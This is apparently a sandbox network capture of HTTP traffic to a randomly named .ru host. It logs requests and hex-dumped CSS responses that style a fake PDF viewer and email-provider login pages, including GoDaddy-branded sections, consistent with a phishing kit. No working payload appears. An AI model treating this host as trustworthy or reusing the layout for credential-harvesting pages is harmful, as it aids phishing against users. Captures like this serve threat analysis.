2025-03-20 15:55:35 UTC	1368	OUT	GET /34WB3Q5Zd0ilQXlkxyUaYrb8920 HTTP/1.1 Host: b3rz.5m54lq.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://b3rz.5m54lq.ru/UFIPVZXDJGVHYEWTscjkpacwfsrsahbhxx0rsr0tmc0ipx3ugeoe3q2?BCHJFAIFMWHGKNRVTUMGJXZSBCQC Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InNCK0JQU3dFb1FTUHVBOWlseHNJeHc9PSIsInZhbHVlIjoiNEU3QmNUdmVKVFVxWHFhajlHU08zQzFveHRUSkZpcm1nYjU3dzJmblh6aHQ5OWtWeDZPZENIVVY2dU10QXJXZ1hsUnhwQ1ozWXZDTFJ3aXBkR3BHZWh0OGdWL25LNHE2SWhlbW9CZ2RvMkhHOVM0OTgwTGkrMWVOaTRpbzFjUFoiLCJtYWMiOiIyM2VmYmYxNDliM2EyM2ZiMWIwNGY2ODcyMWQ3YTMxMjdjOWVmNWU4MzA1OTg2NzY3MzAyNzI5OWUzOWMxM2RhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlljdFNnaC9YMXlRc0d6MVVlMFdTbGc9PSIsInZhbHVlIjoiVklha1JsditVa2ZUZTFyeGdZNE9lN2RsemVRMnlVYzlwUHVDbjdpaDVVL1RES0xOMllBaC9lV3c5Zy9nbFJoY1NNMTRma1g2UHc1MXZxZEV4WjE3aExrTy9GVnI4OTQvWVR1MmlUeTNVakYzNHJ0K3h1NndXdUhZZGVma3A4MTQiLCJtYWMiOiIyZjEwMGNhYjM3YWFmMDYzMGJmNzM2MjBmOTYwMGI4ODllMzljM2MxMDA2YTY4YzNlNmY0MDk2YzM2ZmQ5YjZjIiwidGFnIjoiIn0%3D
2025-03-20 15:55:35 UTC	1095	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 15:55:35 GMT Content-Type: text/css;charset=UTF-8 Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="34WB3Q5Zd0ilQXlkxyUaYrb8920" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IvZ%2F1XShSLD02P5jQ5HdN5Iys0JnNOy4dw89usdxHXSylpk%2B8zGgwQGolkCsYNjDZFmgg2mPkqvvi4HGwT1lGBFUXpZxZ5%2F1nIV%2FTkaFZC3tCaddgTafA97Elnhuoja1CHUM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=4926&min_rtt=4706&rtt_var=1498&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2276&delivery_rate=607255&cwnd=247&unsent_bytes=0&cid=3edf2e9aa2e23dd3&ts=97&x=0" vary: accept-encoding Server: cloudflare CF-RAY: 9236650b69a742e5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=106708&min_rtt=106503&rtt_var=22774&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2819&recv_bytes=1940&delivery_rate=34780&cwnd=241&unsent_bytes=0&cid=3eccc1ed61fe10f6&ts=498&x=0"
2025-03-20 15:55:35 UTC	274	IN	Data Raw: 33 37 61 66 0d 0a 23 61 75 74 68 63 61 6c 6c 64 65 73 63 2c 23 73 65 63 74 69 6f 6e 73 2c 2e 74 65 78 74 2d 6d 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 39 33 37 35 72 65 6d 7d 2a 2c 69 6e 70 75 74 5b 74 79 70 65 3d 72 61 64 69 6f 5d 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 70 61 64 64 69 6e 67 3a 30 7d 2e 61 6c 65 72 74 2c 2e 72 61 64 69 6f 20 6c 61 62 65 6c 2c 2e 72 6f 77 2e 74 69 6c 65 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 23 73 65 63 74 69 6f 6e 73 2c 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 61 64 64 6f 6e 2c 2e 74 61 62 6c 65 20 2e 74 61 62 6c 65 2d 63 65 6c 6c 2c 69 6d 67 7b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 70 64 66 68 65 61 64 65 72 20 23 Data Ascii: 37af#authcalldesc,#sections,.text-m{font-size:.9375rem}*,input[type=radio]{box-sizing:border-box;padding:0}.alert,.radio label,.row.tile{margin-bottom:0}#sections,.input-group-addon,.table .table-cell,img{vertical-align:middle}#sections_doc .pdfheader #
2025-03-20 15:55:35 UTC	1369	IN	Data Raw: 70 64 66 20 2e 70 64 66 68 65 61 64 65 72 20 23 70 61 67 65 4e 61 6d 65 2c 2e 72 6f 77 2e 74 69 6c 65 2c 2e 72 6f 77 2e 74 69 6c 65 3a 6e 6f 74 28 2e 6e 6f 2d 70 69 63 6b 29 3a 61 63 74 69 76 65 2c 2e 72 6f 77 2e 74 69 6c 65 3a 6e 6f 74 28 2e 6e 6f 2d 70 69 63 6b 29 3a 68 6f 76 65 72 2c 69 6e 70 75 74 7b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 7d 2e 70 2c 2e 73 75 62 74 69 74 6c 65 2c 2e 74 65 78 74 2d 62 6f 64 79 2c 2e 74 65 78 74 2d 73 75 62 74 69 74 6c 65 2c 68 34 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2a 2c 2e 74 65 78 74 2d 74 69 74 6c 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 53 65 67 6f 65 20 55 49 22 2c 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 22 4c 75 63 69 64 61 20 47 72 61 6e 64 65 22 2c 52 6f 62 6f 74 6f 2c 45 62 72 69 Data Ascii: pdf .pdfheader #pageName,.row.tile,.row.tile:not(.no-pick):active,.row.tile:not(.no-pick):hover,input{color:inherit}.p,.subtitle,.text-body,.text-subtitle,h4{font-weight:400}*,.text-title{font-family:"Segoe UI","Helvetica Neue","Lucida Grande",Roboto,Ebri
2025-03-20 15:55:35 UTC	1369	IN	Data Raw: 74 61 69 6e 65 72 3e 2e 62 67 31 7b 67 72 69 64 2d 61 72 65 61 3a 62 67 31 3b 68 65 69 67 68 74 3a 35 30 70 78 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 70 64 66 62 61 63 6b 63 6f 6e 74 61 69 6e 65 72 3e 2e 62 67 32 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 70 64 66 62 61 63 6b 63 6f 6e 74 61 69 6e 65 72 3e 2e 62 67 32 7b 67 72 69 64 2d 61 72 65 61 3a 62 67 32 3b 68 65 69 67 68 74 3a 61 75 74 6f 3b 77 69 64 74 68 3a 34 2e 35 33 31 32 35 69 6e 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 70 64 66 62 61 63 6b 63 6f 6e 74 61 69 6e 65 72 3e 2e 62 67 33 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 70 64 66 62 61 63 6b 63 6f 6e 74 61 69 6e 65 72 3e 2e 62 67 33 7b 67 72 69 64 2d 61 72 65 61 3a 62 67 33 3b 68 65 69 67 68 74 3a 61 75 74 6f 3b 77 Data Ascii: tainer>.bg1{grid-area:bg1;height:50px}#sections_doc .pdfbackcontainer>.bg2,#sections_pdf .pdfbackcontainer>.bg2{grid-area:bg2;height:auto;width:4.53125in}#sections_doc .pdfbackcontainer>.bg3,#sections_pdf .pdfbackcontainer>.bg3{grid-area:bg3;height:auto;w
2025-03-20 15:55:35 UTC	1369	IN	Data Raw: 65 28 36 30 64 65 67 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 2d 2e 39 73 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 3a 6e 74 68 2d 63 68 69 6c 64 28 34 29 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 39 30 64 65 67 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 2d 2e 38 73 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 3a 6e 74 68 2d 63 68 69 6c 64 28 35 29 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 31 32 30 64 65 67 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 2d 2e 37 73 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 3a 6e 74 68 2d 63 68 69 6c 64 28 36 29 7b 74 72 Data Ascii: e(60deg);animation-delay:-.9s}#sections_pdf .lds-spinner div:nth-child(4){transform:rotate(90deg);animation-delay:-.8s}#sections_pdf .lds-spinner div:nth-child(5){transform:rotate(120deg);animation-delay:-.7s}#sections_pdf .lds-spinner div:nth-child(6){tr
2025-03-20 15:55:35 UTC	1369	IN	Data Raw: 64 66 20 2e 70 64 66 68 65 61 64 65 72 7b 68 65 69 67 68 74 3a 33 2e 31 32 35 70 63 3b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 3b 74 6f 70 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 39 37 30 31 30 31 3b 7a 2d 69 6e 64 65 78 3a 31 30 30 30 30 30 30 30 30 30 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 70 64 66 68 65 61 64 65 72 20 23 70 64 66 66 61 76 69 63 6f 6e 49 6d 67 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 70 64 66 68 65 61 64 65 72 20 23 70 64 66 66 61 76 69 63 6f 6e 49 6d 67 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 61 75 74 6f 3b Data Ascii: df .pdfheader{height:3.125pc;position:fixed;top:0;width:100%;color:#fff;display:flex;justify-content:space-between;background-color:#970101;z-index:1000000000}#sections_doc .pdfheader #pdffaviconImg,#sections_pdf .pdfheader #pdffaviconImg{margin-top:auto;
2025-03-20 15:55:35 UTC	1369	IN	Data Raw: 28 30 2c 30 2c 30 2c 2e 34 34 34 29 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 6c 6f 67 69 6e 20 2e 73 70 61 63 65 6c 6f 67 69 6e 31 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 70 61 63 65 6c 6f 67 69 6e 31 7b 67 72 69 64 2d 61 72 65 61 3a 73 70 61 63 65 6c 6f 67 69 6e 31 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 70 61 63 65 6c 6f 67 69 6e 32 7b 67 72 69 64 2d 61 72 65 61 3a 73 70 61 63 65 6c 6f 67 69 6e 32 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 69 64 65 6c 65 62 6c 65 73 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 77 69 64 74 68 Data Ascii: (0,0,0,.444)}#sections_doc .login .spacelogin1,#sections_pdf .login .spacelogin1{grid-area:spacelogin1}#sections_pdf .login .spacelogin2{grid-area:spacelogin2}#sections_pdf .login .sidelebles{display:flex;flex-direction:column;justify-content:center;width
2025-03-20 15:55:35 UTC	1369	IN	Data Raw: 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 69 6e 66 6f 73 70 61 6e 3e 2a 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 50 6c 61 79 66 61 69 72 20 44 69 73 70 6c 61 79 27 2c 73 65 72 69 66 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 63 68 6f 73 65 65 6d 61 69 6c 73 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 63 68 6f 73 65 65 6d 61 69 6c 73 7b 77 69 64 74 68 3a 33 36 30 70 78 3b 68 65 69 67 68 74 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 3a 33 30 70 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 Data Ascii: .selectProvider .infospan>*{color:#fff;font-family:'Playfair Display',serif}#sections_doc .login .selectProvider .choseemails,#sections_pdf .login .selectProvider .choseemails{width:360px;height:auto;margin:30px;display:flex}#sections_doc .login .selectP
2025-03-20 15:55:35 UTC	1369	IN	Data Raw: 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 73 65 72 76 69 63 65 6c 61 62 65 6c 7b 63 6f 6c 6f 72 3a 72 67 62 61 28 32 35 35 2c 32 35 35 2c 32 35 35 2c 2e 34 39 38 29 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 50 6c 61 79 66 61 69 72 20 44 69 73 70 6c 61 79 27 2c 73 65 72 69 66 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 64 6f 63 6f 76 65 72 6c 61 79 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 70 64 66 6f 76 65 72 6c 61 79 7b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 76 68 3b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f Data Ascii: sections_pdf .login .selectProvider .servicelabel{color:rgba(255,255,255,.498);text-align:center;font-size:13px;font-family:'Playfair Display',serif}#sections_doc .docoverlay,#sections_pdf .pdfoverlay{width:100%;height:100vh;position:fixed;background-colo
2025-03-20 15:55:35 UTC	1369	IN	Data Raw: 6c 69 6e 65 3a 30 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 63 73 73 2d 36 30 39 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 61 63 74 69 6f 6e 73 2d 36 34 30 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 77 69 64 74 68 3a 31 30 30 25 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 33 32 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 34 70 78 3b 6d 61 72 67 69 6e 3a 32 35 70 78 20 30 20 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 30 70 78 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 61 63 74 69 6f 6e 73 52 69 67 68 74 2d 36 34 32 7b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 30 70 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 Data Ascii: line:0}#sections_doc .css-609{display:flex}#sections_doc .actions-640{position:relative;width:100%;min-height:32px;line-height:24px;margin:25px 0 0;font-size:0px}#sections_doc .actionsRight-642{align-items:center;display:flex;font-size:0px;justify-content
2025-03-20 15:55:35 UTC	1369	IN	Data Raw: 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 73 68 6f 77 2d 66 72 6f 6d 2d 6c 65 66 74 7b 66 72 6f 6d 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 2d 32 30 30 70 78 29 3b 6f 70 61 63 69 74 79 3a 30 7d 74 6f 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 30 29 3b 6f 70 61 63 69 74 79 3a 31 7d 7d 23 73 65 63 74 69 6f 6e 73 20 2e 6c 6f 61 64 69 6e 67 2d 63 6f 6e 74 61 69 6e 65 72 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 62 6f 74 74 6f 6d 3a 34 30 70 78 3b 77 69 64 74 68 3a 63 61 6c 63 28 31 30 30 25 20 2b 20 31 31 30 70 78 29 3b 72 69 67 68 74 3a 36 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 Data Ascii: }}@keyframes show-from-left{from{transform:translateX(-200px);opacity:0}to{transform:translateX(0);opacity:1}}#sections .loading-container{display:flex;align-items:center;width:100%;height:100%;bottom:40px;width:calc(100% + 110px);right:60px;position:rela

Timestamp	Bytes transferred	Direction	Data
2025-03-20 15:55:35 UTC	1360	OUT	GET /xyDUcNavBFpq3vIgh25 HTTP/1.1 Host: b3rz.5m54lq.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://b3rz.5m54lq.ru/UFIPVZXDJGVHYEWTscjkpacwfsrsahbhxx0rsr0tmc0ipx3ugeoe3q2?BCHJFAIFMWHGKNRVTUMGJXZSBCQC Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InNCK0JQU3dFb1FTUHVBOWlseHNJeHc9PSIsInZhbHVlIjoiNEU3QmNUdmVKVFVxWHFhajlHU08zQzFveHRUSkZpcm1nYjU3dzJmblh6aHQ5OWtWeDZPZENIVVY2dU10QXJXZ1hsUnhwQ1ozWXZDTFJ3aXBkR3BHZWh0OGdWL25LNHE2SWhlbW9CZ2RvMkhHOVM0OTgwTGkrMWVOaTRpbzFjUFoiLCJtYWMiOiIyM2VmYmYxNDliM2EyM2ZiMWIwNGY2ODcyMWQ3YTMxMjdjOWVmNWU4MzA1OTg2NzY3MzAyNzI5OWUzOWMxM2RhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlljdFNnaC9YMXlRc0d6MVVlMFdTbGc9PSIsInZhbHVlIjoiVklha1JsditVa2ZUZTFyeGdZNE9lN2RsemVRMnlVYzlwUHVDbjdpaDVVL1RES0xOMllBaC9lV3c5Zy9nbFJoY1NNMTRma1g2UHc1MXZxZEV4WjE3aExrTy9GVnI4OTQvWVR1MmlUeTNVakYzNHJ0K3h1NndXdUhZZGVma3A4MTQiLCJtYWMiOiIyZjEwMGNhYjM3YWFmMDYzMGJmNzM2MjBmOTYwMGI4ODllMzljM2MxMDA2YTY4YzNlNmY0MDk2YzM2ZmQ5YjZjIiwidGFnIjoiIn0%3D
2025-03-20 15:55:35 UTC	1087	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 15:55:35 GMT Content-Type: text/css;charset=UTF-8 Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="xyDUcNavBFpq3vIgh25" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fwop7KNPvGRp8M9nrPZV0SJDFbaASTcj181R8MZy9CFqtCu4z0GPkvEX9XNyRI10toVbBKDfbN5XV%2ByRsZKoWCbU4wkbXX2kRbo%2Fsoq6DIBSCQTsBTvWC9Jmb7%2BlU3o%2BkuGq"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=1143&min_rtt=1133&rtt_var=338&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2822&recv_bytes=2267&delivery_rate=2437710&cwnd=251&unsent_bytes=0&cid=37e2404af6f9fc21&ts=80&x=0" vary: accept-encoding Server: cloudflare CF-RAY: 9236650b7b674314-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=106574&min_rtt=106420&rtt_var=22682&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2819&recv_bytes=1932&delivery_rate=34850&cwnd=228&unsent_bytes=0&cid=1a8d134727405fcf&ts=482&x=0"
2025-03-20 15:55:35 UTC	282	IN	Data Raw: 33 37 62 37 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 7b 0d 0a 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 67 64 73 68 65 72 70 61 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 7d 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 61 20 7b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 32 72 71 61 70 77 2c 23 30 30 30 29 3b 0d 0a 20 20 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 37 69 66 35 70 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 37 69 66 35 70 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 74 72 61 6e 73 70 61 72 Data Ascii: 37b7#sections_godaddy {font-family: gdsherpa !important;}#sections_godaddy a { color: var(--ux-2rqapw,#000); -webkit-text-decoration: var(--ux-1f7if5p,underline); text-decoration: var(--ux-1f7if5p,underline); background-color: transpar
2025-03-20 15:55:35 UTC	1369	IN	Data Raw: 79 20 23 72 6f 6f 74 20 7b 0d 0a 20 20 20 20 66 6c 65 78 3a 20 31 20 31 20 30 25 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 61 3a 68 6f 76 65 72 20 7b 0d 0a 2f 2a 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 31 6a 38 37 76 76 6e 2c 23 66 66 66 29 3b 2a 2f 0d 0a 20 20 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 74 30 6b 68 6d 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 74 30 6b 68 6d 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 73 76 67 20 7b 0d 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 Data Ascii: y #root { flex: 1 1 0%;}#sections_godaddy a:hover {/* color: var(--ux-1j87vvn,#fff);*/ -webkit-text-decoration: var(--ux-1ft0khm,underline); text-decoration: var(--ux-1ft0khm,underline);}#sections_godaddy svg { overflow: hidde
2025-03-20 15:55:35 UTC	1369	IN	Data Raw: 69 67 38 2c 2e 32 35 72 65 6d 29 20 2a 20 76 61 72 28 2d 2d 75 78 53 70 61 63 65 2d 2d 70 61 64 64 69 6e 67 2d 61 64 6a 75 73 74 6d 65 6e 74 2c 31 29 29 3b 0d 0a 20 20 2d 2d 75 78 53 70 61 63 65 2d 2d 67 61 70 2d 73 69 7a 65 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 7a 64 30 73 65 72 2c 33 29 20 2a 20 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 2e 32 35 72 65 6d 29 20 2a 20 76 61 72 28 2d 2d 75 78 53 70 61 63 65 2d 2d 67 61 70 2d 61 64 6a 75 73 74 6d 65 6e 74 2c 31 29 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 73 70 61 63 65 2e 75 78 2d 73 70 61 63 65 2d 2d 69 6e 6c 69 6e 65 3a 65 6d 70 74 79 20 7b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 66 6c 65 78 3b 0d 0a 20 20 69 6e 6c Data Ascii: ig8,.25rem) * var(--uxSpace--padding-adjustment,1)); --uxSpace--gap-size: calc(var(--ux-zd0ser,3) * var(--ux-1sbfig8,.25rem) * var(--uxSpace--gap-adjustment,1));}#sections_godaddy .ux-space.ux-space--inline:empty { display: inline-flex; inl
2025-03-20 15:55:35 UTC	1369	IN	Data Raw: 2d 75 78 2d 76 76 73 70 76 32 2c 31 72 65 6d 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 2d 31 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 30 29 20 76 61 72 28 2d 2d 75 78 2d 6f 6c 30 37 30 33 2c 2f 29 20 76 61 72 28 2d 2d 75 78 2d 37 73 34 70 33 76 2c 31 2e 31 32 35 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 2d 32 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 2d 31 29 20 76 61 72 28 2d 2d 75 78 2d 6f 6c 30 37 30 33 2c 2f 29 20 76 61 72 28 2d 2d 75 78 2d 37 73 34 70 33 76 2c 31 2e 31 32 35 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 31 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 Data Ascii: -ux-vvspv2,1rem)); --uxText--fontSize-1: calc(var(--uxText--fontSize0) var(--ux-ol0703,/) var(--ux-7s4p3v,1.125)); --uxText--fontSize-2: calc(var(--uxText--fontSize-1) var(--ux-ol0703,/) var(--ux-7s4p3v,1.125)); --uxText--fontSize1: calc(var(--ux
2025-03-20 15:55:35 UTC	1369	IN	Data Raw: 72 3a 20 76 61 72 28 2d 2d 75 78 2d 63 61 6f 30 36 62 2c 23 66 66 66 29 3b 0d 0a 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 39 37 68 33 76 6c 2c 23 64 33 64 33 64 33 29 3b 0d 0a 20 20 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 20 76 61 72 28 2d 2d 75 78 2d 31 39 77 72 33 6b 71 2c 31 70 78 29 3b 0d 0a 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 76 61 72 28 2d 2d 75 78 2d 32 6a 75 62 65 73 2c 32 70 78 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 61 6c 65 72 74 20 61 5b 68 72 65 66 5d 20 7b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 69 6e 68 65 72 69 74 3b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 Data Ascii: r: var(--ux-cao06b,#fff); border-color: var(--ux-97h3vl,#d3d3d3); border-width: 